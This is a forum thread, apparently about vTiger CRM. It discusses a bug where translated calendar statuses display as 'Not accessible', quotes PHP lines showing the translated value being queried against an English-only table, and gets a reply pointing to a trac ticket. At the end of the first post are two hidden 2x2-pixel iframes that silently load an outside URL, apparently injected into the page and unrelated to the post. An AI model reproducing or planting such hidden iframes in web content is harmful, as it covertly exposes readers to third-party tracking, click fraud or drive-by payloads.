Hello all,
those of you regularly checking the forum must feel tired with all my posts lately <!-- s:-) --><img src="{SMILIES_PATH}/icon_smile.gif" alt=":-)" title="Smile" /><!-- s:-) --> Well, some of them are quite useful i think and some of them are results of me being in panicing a bit as it takes for ever to perfect my vTiger installation....
Anyway, i think this post is worth drawing the attention of whoever is handling bugs and revisions....If it does please contact me to let me know how i can contribute straight on the development.
The problem
When using vTiger in translation mode (i.e. greek, spanish etc) i have noticed some glitches...The glitches concern the display of "Not accessible" message when viewing entities in listview.
Here is how to reproduce the problem.
Step 1: Log in to vTiger and select any available translation language other than english.
Step 2: Create an activity. For that activity update its status (default selections are Not started, in progress, completed etc) but make sure that its the translated values you are using and not the english words...
Step 3: Check in your calendar your activities....you should see that the status is displayed in red saying Not accessible (well the equivalent word in your translation table really)
Here is why this is happening...
I will now describe what is happening in particular with activities. If you check the \modules\Calendar\CalendarLayout.php file you will see the following code.
In line 1623 we are getting the translated value of the status and in line 1636 we are querying the table vtiger_taskstatus using the Greek, Spanish, French or whatever word...BUT that table is only keeping the english words and not the international versions...So the result of the query is null and therefore Line 1647 shows the Not Accessible message....
1623 $taskstatus = getTranslatedString(decode_html($adb->query_result($result,$i,"status")));
1624
.......
1635
1636 $sql="select * from vtiger_taskstatus where taskstatus=?";
1637 $res = $adb->pquery($sql,array(decode_html($taskstatus)));
......
1644 if($num_val > 0)
1645 $element['status'] = $taskstatus;
1646 else
1647 $element['status'] = "<font color='red'>".$app_strings['LBL_NOT_ACCESSIBLE']."</font>";
1648
The solution of course is to skip the getTranslatedstring func in line 1623, but i am reluctant to do this just for my version of vTiger and see it coming up again in future versions....
So, guys what do we do? How does one contribute to vTiger source code? First of all please tell me if i am right as far as this bug is concerned and secondly can someone let me know what i should do to help with the source code update? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
your best bet is to register for a trac account and create the bug with the solution so the vtiger team can get around to fixing it.
in this case i caught this one a while back:
<!-- m --><a class="postlink" href="http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/5260">http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/5260</a><!-- m -->
another good idea is to consult trac to see if others have found the error before you.
joe
tsolucio
i will register with trac....thanks for pointing that out....
by the looks of it the bug will be corrected in version 5.1.0 of vtiger. so until then i am proceeding with my changes for the time being ...
i have found quite a handfull of similar bugs relating to translations but i guess since you are already working on the spanish translation you must have come across them already...
do you think it would be a good idea if we released a list of patches relating to translations sooner than the release date of 5.1.0?
many thanks...